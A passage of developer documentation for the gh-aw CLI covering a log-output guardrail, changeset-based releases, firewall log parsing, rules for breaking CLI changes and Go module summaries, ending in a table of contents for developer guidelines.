Get only failed runs:

{ "jq": ".runs | map(select(.conclusion == \"failure\"))" }

Get high token usage runs:

{ "jq": ".runs | map(select(.token_usage > 10000))" }

Implementation Details

Constants:

DefaultMaxMCPLogsOutputTokens: 12000 tokens (default limit)
CharsPerToken: 4 characters per token (estimation factor)

Files:

pkg/cli/mcp_logs_guardrail.go - Core guardrail implementation
pkg/cli/mcp_logs_guardrail_test.go - Unit tests
pkg/cli/mcp_logs_guardrail_integration_test.go - Integration tests
pkg/cli/mcp_server.go - Integration with MCP server

Benefits

Prevents overwhelming responses for AI models
Provides guidance with specific filters
Self-documenting with schema description
Preserves functionality with jq filtering
Transparent messaging about why guardrail triggered

Release Management

The project uses a minimalistic changeset-based release system inspired by @changesets/cli.

Commands

version (Preview Only)

The version command operates in preview mode and never modifies files:

node scripts/changeset.js version
# Or
make version

This command:

Reads all changeset files from .changeset/ directory
Determines the appropriate version bump (major > minor > patch)
Shows a preview of the CHANGELOG entry
Never modifies any files

release [type] [--yes|-y]

The release command creates an actual release:

node scripts/changeset.js release
# Or (recommended - runs tests first)
make release

This command:

Checks prerequisites (clean tree, main branch)
Updates CHANGELOG.md with new version and changes
Deletes processed changeset files (if any exist)
Automatically commits the changes
Creates and pushes a git tag for the release

Flags:

--yes or -y: Skip confirmation prompt

Release Workflow

graph TD
    A[Add changeset files] --> B[Preview with version command]
    B --> C{Changes look good?}
    C -->|No| D[Modify changesets]
    D --> B
    C -->|Yes| E[Run release command]
    E --> F[Update CHANGELOG.md]
    F --> G[Delete changeset files]
    G --> H[Commit changes]
    H --> I[Create git tag]
    I --> J[Push tag to remote]

Changeset File Format

Changeset files are markdown files in .changeset/ directory with YAML frontmatter:

"gh-aw": patch

Brief description of the change

Bump types:

patch - Bug fixes and minor changes (0.0.x)
minor - New features, backward compatible (0.x.0)
major - Breaking changes (x.0.0)

Prerequisites for Release

When running release, the script checks:

Clean working tree: All changes must be committed or stashed
On main branch: Must be on the main branch to create a release

Releasing Without Changesets

For maintenance releases with dependency updates:

# Defaults to patch release
node scripts/changeset.js release

# Or specify release type explicitly
node scripts/changeset.js release minor

# Skip confirmation
node scripts/changeset.js release --yes

The script will:

Default to patch release if no type specified
Add a generic "Maintenance release" entry to CHANGELOG.md
Commit the changes
Create a git tag
Push the tag to remote

Firewall Log Parsing

The firewall log parser provides analysis of network traffic logs from agentic workflow runs.

Log Format

Firewall logs use space-separated format with 10 fields:

timestamp client_ip:port domain dest_ip:port proto method status decision url user_agent

Example:

1761332530.474 172.30.0.20:35288 api.enterprise.githubcopilot.com:443 140.82.112.22:443 1.1 CONNECT 200 TCP_TUNNEL:HIER_DIRECT api.enterprise.githubcopilot.com:443 "-"

Field Descriptions

timestamp - Unix timestamp with decimal (e.g., "1761332530.474")
client_ip:port - Client IP and port or "-"
domain - Target domain:port or "-"
dest_ip:port - Destination IP and port or "-"
proto - Protocol version (e.g., "1.1") or "-"
method - HTTP method (e.g., "CONNECT", "GET") or "-"
status - HTTP status code (e.g., "200", "403") or "0"
decision - Proxy decision (e.g., "TCP_TUNNEL:HIER_DIRECT") or "-"
url - Request URL or "-"
user_agent - User agent string (quoted) or "-"

Request Classification

graph TD
    A[Parse log line] --> B{Check status}
    B -->|200, 206, 304| C[Allowed]
    B -->|403, 407| D[Denied]
    B -->|Other| E{Check decision}
    E -->|Contains TCP_TUNNEL, TCP_HIT, TCP_MISS| C
    E -->|Contains NONE_NONE, TCP_DENIED| D
    E -->|Other| F[Denied by default]

Allowed Indicators:

Status codes: 200, 206, 304
Decisions containing: TCP_TUNNEL, TCP_HIT, TCP_MISS

Denied Indicators:

Status codes: 403, 407
Decisions containing: NONE_NONE, TCP_DENIED

Default: Denied (for safety when classification is ambiguous)

Output Examples

Console Output

🔥 Firewall Log Analysis
Total Requests   : 8
Allowed Requests : 5
Denied Requests  : 3

Allowed Domains:
  ✓ api.enterprise.githubcopilot.com:443 (1 requests)
  ✓ api.github.com:443 (2 requests)

Denied Domains:
  ✗ blocked-domain.example.com:443 (2 requests)

JSON Output

{
  "firewall_log": {
    "total_requests": 8,
    "allowed_requests": 5,
    "denied_requests": 3,
    "allowed_domains": [
      "api.enterprise.githubcopilot.com:443",
      "api.github.com:443"
    ],
    "denied_domains": [
      "blocked-domain.example.com:443"
    ],
    "requests_by_domain": {
      "api.github.com:443": {
        "allowed": 2,
        "denied": 0
      }
    }
  }
}

Integration Points

The logs and audit commands automatically:

Search for firewall logs in run directories
Parse all .log files in firewall-logs/ or squid-logs/ directories
Aggregate statistics across all log files
Include firewall analysis in console and JSON output
Cache results in run_summary.json

Implementation

Files:

pkg/cli/firewall_log.go (396 lines) - Core parser implementation
pkg/cli/firewall_log_test.go (437 lines) - Unit tests
pkg/cli/firewall_log_integration_test.go (238 lines) - Integration tests

Testing:

# Unit tests
make test-unit

# Integration tests
go test ./pkg/cli -run TestFirewallLogIntegration

Breaking CLI Rules

This section defines what constitutes a breaking change for the gh-aw CLI. These rules help maintainers and contributors evaluate changes during code review and ensure stability for users.

Overview

Breaking changes require special attention during development and review because they can disrupt existing user workflows. This section provides clear criteria for identifying breaking changes and guidance on how to handle them.

Categories of Changes

Breaking Changes (Major Version Bump)

The following changes are always breaking and require:

A major changeset type
Documentation in CHANGELOG.md with migration guidance
Review by maintainers

1. Command Removal or Renaming

Breaking:

Removing a command entirely (e.g., removing gh aw logs)
Renaming a command without an alias (e.g., gh aw compile → gh aw build)
Removing a subcommand (e.g., removing gh aw mcp inspect)

Examples from past releases:

Removing --no-instructions flag from compile command (v0.17.0)

2. Flag Removal or Renaming

Breaking:

Removing a flag (e.g., removing --strict flag)
Changing a flag name without backward compatibility (e.g., --output → --out)
Changing a flag's short form (e.g., -o → -f)
Changing a required flag to have no default when it previously had one

Examples from past releases:

Remove GITHUB_TOKEN fallback for Copilot operations (v0.24.0)

3. Output Format Changes

Breaking:

Changing the structure of JSON output (removing fields, renaming fields)
Changing the order of columns in table output that users might parse positionally
Changing exit codes for specific scenarios
Removing output fields that scripts may depend on

Examples from past releases:

Update status command JSON output structure (v0.21.0): replaced agent with engine_id, removed frontmatter and prompt fields

4. Behavior Changes

Breaking:

Changing default values for flags (e.g., strict: false → strict: true)
Changing authentication requirements
Changing permission requirements
Changing the semantics of existing options

Examples from past releases:

Change strict mode default from false to true (v0.31.0)
Remove per-tool Squid proxy - unify network filtering (v0.25.0)

5. Schema Changes

Breaking:

Removing fields from workflow frontmatter schema
Making optional fields required
Changing the type of a field (e.g., string → object)
Removing allowed values from enums

Examples from past releases:

Remove "defaults" section from main JSON schema (v0.24.0)
Remove deprecated "claude" top-level field (v0.24.0)

Non-Breaking Changes (Minor or Patch Version Bump)

The following changes are not breaking and typically require:

A minor changeset for new features
A patch changeset for bug fixes

1. Additions

Not Breaking:

Adding new commands
Adding new flags with reasonable defaults
Adding new fields to JSON output
Adding new optional fields to schema
Adding new allowed values to enums
Adding new exit codes for new scenarios

Examples:

Add --json flag to status command (v0.20.0)
Add mcp-server command (v0.17.0)

2. Deprecations

Not Breaking (when handled correctly):

Deprecating commands (with warning, keeping functionality)
Deprecating flags (with warning, keeping functionality)
Deprecating schema fields (with warning, keeping functionality)

Requirements for deprecation:

Print deprecation warning to stderr
Document the deprecation and migration path
Keep deprecated functionality working for at least one minor release
Schedule removal in a future major version

3. Bug Fixes

Not Breaking (when fixing unintended behavior):

Fixing incorrect output
Fixing incorrect exit codes
Fixing schema validation that was too permissive

Note: Fixing a bug that users depend on may require a breaking change notice.

4. Performance Improvements

Not Breaking:

Faster execution
Reduced memory usage
Parallel processing optimizations

5. Documentation Changes

Not Breaking:

Improving help text
Adding examples
Clarifying error messages

Decision Tree: Is This Breaking?

graph TD
    A[CLI Change Proposed] --> B{Removing or renaming<br/>command/subcommand/flag?}
    B -->|Yes| BREAK1[BREAKING]
    B -->|No| C{Modifying JSON output<br/>structure?}
    C -->|Yes| BREAK2[BREAKING]
    C -->|No| D{Altering default<br/>behavior?}
    D -->|Yes| BREAK3[BREAKING]
    D -->|No| E{Modifying exit codes<br/>for existing scenarios?}
    E -->|Yes| BREAK4[BREAKING]
    E -->|No| F{Removing schema fields<br/>or making optional required?}
    F -->|Yes| BREAK5[BREAKING]
    F -->|No| SAFE[NOT BREAKING]

    BREAK1 --> REQ[Requires:<br/>- major changeset<br/>- Migration guide<br/>- Maintainer review]
    BREAK2 --> REQ
    BREAK3 --> REQ
    BREAK4 --> REQ
    BREAK5 --> REQ

    SAFE --> ACT[Allowed:<br/>- minor for features<br/>- patch for fixes]

Guidelines for Contributors

When Making CLI Changes:

Check the decision tree before implementing changes
Document breaking changes clearly in the changeset
Provide migration guidance for users affected by breaking changes
Consider backward compatibility - can you add an alias instead of renaming?
Use deprecation warnings for at least one minor release before removal

Changeset Format for Breaking Changes:

"gh-aw": major

Remove deprecated `--old-flag` option

**⚠️ Breaking Change**: The `--old-flag` option has been removed.

**Migration guide:**
- If you used `--old-flag value`, use `--new-flag value` instead
- Scripts using this flag will need to be updated

**Reason**: The option was deprecated in v0.X.0 and has been removed to simplify the CLI.

Changeset Format for Non-Breaking Changes:

For new features:

"gh-aw": minor

Add --json flag to logs command for structured output

For bug fixes:

"gh-aw": patch

Fix incorrect exit code when workflow file not found

Review Checklist for CLI Changes

Reviewers should verify:

Breaking change identified correctly - Does this change match any breaking change criteria?
Changeset type appropriate - Is it marked as major/minor/patch correctly?
Migration guidance provided - For breaking changes, is there clear migration documentation?
Deprecation warning added - If deprecating, does it warn users?
Backward compatibility considered - Could this be done without breaking compatibility?
Tests updated - Do tests cover the changed behavior?
Help text updated - Is the CLI help accurate?

Exit Code Standards

The CLI uses standard exit codes:

Exit Code	Meaning	Breaking to Change
0	Success	No (adding is fine)
1	General error	No (for new errors)
2	Invalid usage	No (for new checks)

Breaking: Changing the exit code for an existing scenario (e.g., changing from 1 to 2 for a specific error type).

JSON Output Standards

When adding or modifying JSON output:

Never remove fields without a major version bump
Never rename fields without a major version bump
Never change field types without a major version bump
Adding new fields is safe - parsers should ignore unknown fields
Adding new enum values is safe - parsers should handle unknown values gracefully

Strict Mode and Security Changes

Special consideration for strict mode changes:

Making strict mode validation refuse instead of warn is breaking (e.g., v0.30.0)
Changing strict mode defaults is breaking (e.g., v0.31.0)
Adding new strict mode validations is not breaking (strictness is opt-in initially)

References

Changeset System: See Release Management section for version management details
CHANGELOG: See CHANGELOG.md for examples of breaking changes
Semantic Versioning: https://semver.org/

Go Module Summaries

The specs/mods/ directory contains AI-generated summaries of Go module usage patterns in the gh-aw repository, created by the Go Fan workflow.

Purpose

Go module summaries provide:

Module overview and version information
Files and APIs that use the module
Research findings from the module's GitHub repository
Improvement opportunities (quick wins, feature opportunities, best practices)
References to documentation and changelog

File Naming Convention

Module summary files follow a consistent naming pattern where the Go module path has slashes replaced with dashes:

Module Path	File Name
`github.com/goccy/go-yaml`	`goccy-go-yaml.md`
`github.com/spf13/cobra`	`spf13-cobra.md`
`github.com/stretchr/testify`	`stretchr-testify.md`

Generation Process

The summaries are generated by the Go Fan workflow:

graph LR
    A[Scheduled Trigger<br/>Weekdays 7 AM UTC] --> B[Load Cache Memory]
    B --> C[Select Next Module<br/>Round-Robin]
    C --> D[Analyze Module Usage]
    D --> E[Research GitHub Repo]
    E --> F[Generate Summary]
    F --> G[Write to specs/mods/]
    G --> H[Update Cache Memory]
    H --> I[Commit & Push]

Update Frequency: Daily on weekdays (Monday-Friday) at 7 AM UTC

Round-Robin Selection: The workflow uses cache-memory to track which module was analyzed last, ensuring each module gets updated in rotation.

Usage Guidelines

When working with Go modules in the codebase:

Check existing summaries in specs/mods/ for module-specific patterns and best practices
Reference improvement opportunities when upgrading or refactoring module usage
Consult API documentation links provided in the summaries for authoritative reference
Update summaries manually if significant changes are made to module usage patterns (the workflow will refresh on its next run)

Summary Contents

Each module summary includes the following sections:

Module Overview: Version used and general purpose
Usage Analysis: Files and code locations using the module
API Surface: Functions, types, and methods utilized
Research Findings: Information from the module's repository (recent releases, documentation, best practices)
Improvement Opportunities: Suggestions for better module usage
References: Links to documentation, changelog, and GitHub repository

Last Updated: 2025-12-01 Maintainers: GitHub Next Team

Install Skill

SKILL.md

Developer Instructions

Table of Contents

Capitalization Guidelines

Capitalization Rules

Implementation

Code Organization

File Organization Principles

Prefer Many Small Files Over Large Ones

Group by Functionality, Not by Type

Excellent Patterns to Follow

Create Functions Pattern

Engine Separation Pattern

Test Organization Pattern

File Size Guidelines

Decision Tree: Creating New Files

Decision Tree: Splitting Files

Case Study: Refactoring Large Files

Initial State

Refactoring Approach

Results

Modules Extracted

Key Principles Applied

Remaining Work

Anti-Patterns to Avoid

God Files

Vague Naming

Mixed Concerns

Test Pollution

Premature Abstraction

Helper File Conventions

When to Create Helper Files

Naming Conventions

What Belongs in Helper Files

Helper File Organization

When NOT to Create Helper Files

Refactoring Guidelines

Example: MCP Function Reorganization

String Sanitization vs Normalization

Sanitize Pattern: Character Validity

Normalize Pattern: Format Standardization

Function Reference

Decision Tree

Best Practices

Anti-Patterns

Validation Architecture

Architecture Overview

Centralized Validation

Domain-Specific Validation

Strict Mode Validation

Python Package Validation

NPM Package Validation

Expression Safety

Validation Decision Tree

Validation Patterns

Allowlist Validation

External Resource Validation

Schema Validation

Progressive Validation

Security Best Practices

Template Injection Prevention

Understanding the Risk

Insecure Pattern

Secure Pattern: Environment Variables

Data Flow Comparison

Recent Fixes (November 2025)

Secure Pattern: Sanitized Context (gh-aw specific)

Safe Context Variables

Shell Script Best Practices

SC2086: Double Quote to Prevent Globbing and Word Splitting

Shell Script Security Checklist

Supply Chain Security

Pin Action Versions with SHA

Finding SHA for Actions

Workflow Structure and Permissions

Minimal Permissions Principle

Job-Level Permissions

Available Permissions

Static Analysis Integration